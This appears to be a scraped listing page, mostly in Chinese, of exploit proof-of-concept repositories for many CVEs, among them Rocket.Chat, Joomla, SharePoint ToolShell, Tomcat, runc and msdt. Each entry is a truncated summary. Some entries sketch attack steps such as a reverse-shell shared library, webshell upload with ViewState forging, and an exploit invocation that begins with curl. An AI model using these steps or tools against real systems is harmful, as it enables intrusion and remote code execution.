rocketcat-cve-2021-22911-exploit

Rocket.Chat CVE-2021-22911 漏洞利用 ⚠️ 免责声明——仅供教育用途 此漏洞利用仅供授权的渗透测试和教育目的 。未经授权访问计算机系统是非法的。作者对任何滥用行为不承担责任。 📋 概述 CVE-2021-22911 是 Rocket.Chat 中一个严重的未经认证的 NoSQL 注入漏洞，可导致远程代码执行（RCE）。 CVSS 评分： 9.8（严重） 受影响版本： Rocket.Chat 3.12.7 攻击向量： 网络 / 未认证 影响： 完全系统沦陷 🎯 漏洞详情 此漏洞利用串联了三次 NoSQL 注入攻击： 阶段 1：低权限用户密码重置...

CVE-2023-23752

CVE-2023-23752 CVE-2023-23752 是一个认证绕过漏洞，可在 Joomla! 服务器上导致信息泄露。虽然 NVD 将其评为 CVSSv3 5.3（中等严重性），但在适当条件下，攻击者可能利用此漏洞实现代码执行。这很可能解释了攻击者对此漏洞表现出的兴趣。 截图 环境要求 Python3.7+ 支持的操作系统 Linuxer Wingays 开始使用 root@kitploit: $ git clone https://github.com/Pari-Malam/CVE-2023-23752 $ cd CVE-2023-23752 $ pip/pip3 install...

CVE-2019-0887

CVE-2019-0887 编译 CVE-2019-0887，重命名为 winhlp.dll 编译 InstallHook，重命名为 hook.exe 注意，它们必须用 x64 编译 然后像这样放入恶意系统 root@kitploit: c:\windows\hook.exe c:\windows\winhlp.dll c:\windows\winhlp64.exe 某个恶意文件 如果有人想要更改路径，这里是关键 root@kitploit: CVE-2019-0887/dllmain.cpp WCHAR evalfile = L"C:\windows\winhlp64.exe" ;...

CVE-2025-66034

CVE-2025-66034 — fontTools varLib 任意文件写入 → 远程代码执行 针对fontTools.varLib 中任意文件写入 + XML 注入漏洞的 PoC 利用 已测试于 HackTheBox — VarIaType 漏洞 fontTools.varLib 处理 .designspace XML 文件以构建可变字体。两个弱点组合实现了未授权远程代码执行： | 原语| 详情 ---|---|--- 1| 通过 CDATA 分割实现的 XML 注入| 攻击者控制的 内部内容被逐字写入输出字体文件主体，允许注入任意数据 2| 通过os.path.join...

CVE-2018-6574

CVE-2018-6574 复现步骤： 1. 创建一个包含恶意命令（反向 shell）的 .c 文件： root@kitploit: include include static void malicious attributeconstructor; void malicious system""; 2. 使用 GCC 编译它。你必须在与目标完全相同的架构和操作系统上进行编译（例如 Linux x8664）： root@kitploit: gcc -shared -o attack.so -fPIC attack.c 3. 创建一个 main.go 文件，其中包含告诉 Go...

Rig-Exploit-for-CVE-2018-8174

Rig-Exploit-for-CVE-2018-8174 针对CVE-2018-8174的Rig漏洞利用。与之前的活动一样，Rig的Seamless活动使用恶意广告。这种情况下，恶意广告包含一个隐藏的iframe，将受害者重定向到Rig的着陆页，该页面包含针对CVE-2018-8174的漏洞利用代码和shellcode。这能够对着陆页中混淆的shellcode实现远程代码执行。成功利用后，会检索一个第二阶段下载器，根据URL来看似乎是SmokeLoader的一个变种。随后它会下载最终载荷——一个门罗币矿工。...

freemarker_RCE_struts2_s2-061

freemarkerRCEstruts2s2-061 cve-2020-17530 struts2s2-061 freemarkerRCE 测试脚本 python freemarkerRCEstruts2s2-061.py...

Toolshell_CVE-2025-53770

ToolShell → CVE‑2025‑53770 漏洞利用 PoC 该软件包允许： 1. 上传 webshell 到 SharePoint 2. 提取 ValidationKey 3. 生成签名的 ViewState 4. 通过反向/绑定 shell 实现 RCE 🔧 设置 root@kitploit: git clone cd toolshell-exploit pip3 install -r requirements.txt 🤖 运行 上传 webshell 从 SharePoint 页面中，您可以访问页面源代码。只需转到“查看源代码”选项卡，如果存在，您将获得以下内容，可以复制...

CVE-2025-2294

CVE-2025-2294 - WordPress Kubio AI 页面构建器 = 2.5.1 - 本地文件包含 LFI 漏洞利用 概述 CVE-2025-2294 影响 WordPress 的 Kubio AI 页面构建器 插件（版本 2.5.1 及以下）。该插件通过 thekubiohybridthemeloadtemplate 函数存在一个未经认证的本地文件包含 LFI 漏洞。 此漏洞允许攻击者在易受攻击的 WordPress 服务器上包含并执行任意文件，可能导致： 绕过访问控制 读取敏感服务器文件 远程代码执行（如果攻击者能够上传伪装成安全文件类型的恶意 PHP 文件） 漏洞详...

CVE-2022-37209

CVE-2022-37209 CVE-2022-37209 POC 建议描述 JFinal CMS 5.1.0 存在 SQL 注入漏洞。这些接口未使用统一组件，也没有过滤器，而是各自采用自己的 SQL 拼接方式，导致 SQL 注入。 附加信息 https://github.com/AgainstTheLight/someEXPofjfinalcms/blob/main/jfinalcms/sql5.md 漏洞类型 SQL 注入 产品供应商 development group 受影响产品代码库 https://github.com/jflyfox/jfinalcms - JFinal CM...

CVE-2025-24813-PoC

CVE-2025-24813-PoC CVE-2025-24813 影响 Apache Tomcat —— 如果使用的是存在漏洞的版本且配置严重不当，攻击者只需一次 GET 和一次 POST 即可实现 RCE。 更多信息请点击此处 此脚本来自 Yiheng An、Jun Li、Qiang Liu、Haozhe Zhang、Qi Deng 近期发布的分析文章，经修改后可接受命令、生成所有 ysoserial gadget 载荷并将其发送至目标。 分享此脚本旨在促进道德安全测试。 使用示例： root@kitploit: python3 exploit.py --command 'curl...

CVE-2019-5736

用法 编辑 payload.c 中的 HOST，使用 make 编译。在容器内启动 nc 并运行 pwn.sh。 注意事项 此利用程序具有破坏性：它将在 宿主机上 用 payload 覆盖 /usr/bin/docker-runc 二进制文件。同时也会覆盖容器内的 /bin/sh。 仅在 Debian 9 上测试通过。 没有尝试使其稳定或可靠，它仅测试在宿主机上执行 docker exec /bin/sh 时有效。 我编写此利用程序所参考的原始提交在这里。 实际发现该漏洞的研究人员已在此处发布了分析文章：这里。 我已添加原始利用程序...

AntimalwareBlight

Use this PowerShell module to execute PowerShell code at the antimalware-light protection level. This code was highlighted in the Living Off the Walled Garden: Abusing the Features of the Early Launch Antimalware Ecosystem REcon talk as well as Black Hat USA 2022. This module needs to run elevate...

CVE-2025-66478-PoC-Reverse-Shell

CVE-2025-66478 / CVE-2025-55182 "React2Shell" — PoC de RCE por Deserialización de Server Actions en RSC Prueba de concepto de explotación para CVE-2025-55182 — apodado públicamente "React2Shell" — una vulnerabilidad de contaminación de prototipos del lado del servidor en la deserialización de...

CVE-2025-2294

CVE-2025-2294 🚨 CVE-2025-2294 - WordPress 的 Kubio AI 页面构建器中的本地文件包含（LFI）漏洞 🧱 🔍 概述 CVE-2025-2294 是一个严重的 🔥 本地文件包含（LFI）漏洞，影响 WordPress 的 Kubio AI 页面构建器插件（版本 2.5.1 及以下）。该漏洞允许未经认证的远程攻击者 👾 通过 kubio-site-edit-iframe-classic-template URL 参数包含服务器上的任意文件。 利用此漏洞可能导致敏感文件泄露 📂、远程代码执行 💥 以及完全系统入侵 💀。 👤 作者 Muhammad...

CVE-2017-5941-NodeJS-RCE

CVE-2017-5941-NodeJS-RCE https://paper.seebug.org/213/...

CVE-2021-41773-RedTeam

CVE-2021-41773 — Apache HTTP Server 2.4.49 路径遍历 / RCE ITSOLERA 网络安全部门 — 红队任务 3 团队: Offensive Team Zeta 日期: 2026年3月18日 ⚠️ 免责声明 本仓库仅用于教育目的 。 所有测试均在隔离的本地 Docker 实验环境 中执行。 切勿用于在线、生产或第三方系统。 CVE 摘要 字段| 详情 ---|--- CVE ID| CVE-2021-41773 CVSS| 9.8 严重 受影响版本| 仅 Apache HTTP Server 2.4.49 类型| 路径遍历 + 远程代码执行...

DogWalk-rce-poc

Dogwalk 概念验证🐾 root@kitploit: 🚨 免责声明 🚨 该 PoC 允许攻击者在 Windows 受害者设备上实现远程代码注入 。 本仓库的目标是让该 PoC 比初始仓库更加易于使用。 未经事先授权，请勿使用！ 鉴于其造成的危害和利用的简易性，希望微软能够修复它 2022年7月更新： 微软尚未修补 msdt 中的漏洞，但 Microsoft Defender 能够检测到它 🧠 理解原理 🐾 运行它 📺 观看演示 核心概念： 微软 Diagcab 技术（msdt）中的路径遍历漏洞，可能导致远程代码执行。 您可以在博客文章中查看完整安全通告。 该漏洞已被报告 2 年 （由...

w48crash

WebMod 栈缓冲区溢出 CVE-2007-1260 作者：cybermind Kevin Masterson [email protected] WebMod 网站（存档）：https://web.archive.org/web/20080517044559/http://djeyl.net/w.php 受影响版本： 0.48，包括 Win32 和 Linux。之前的版本也可能存在漏洞。该漏洞应适用于任何版本的 HLDS。 漏洞类型： DoS、以 HLDS 运行所用用户的权限执行远程代码。 描述： 当收到 HTTP POST 请求时，它会在栈上分配 11 字节来存储...

CVE-2022-31491

CVE-2022-31491 此仓库包含 Metasploit 模块和 PoC 文件。 更多信息 Voltronic Viewpower/Pro 及其更名/衍生版本 这款 UPS 管理软件通常允许通过 Web 界面经过正确身份验证和授权的用户，在软件检测到受管 UPS 正在关机时，将系统配置为运行一条由用户选择的操作系统命令。例如，通过单条命令停止批处理作业或向另一个系统发送警报。 由于一个相关的关键底层功能通过网络暴露（CWE-749：暴露不安全的活跃功能），且无需任何身份验证或授权，攻击者即可发送特制的 UDP 数据包，立即运行任意代码，而无论是否存在受管 UPS 或其状态如何。...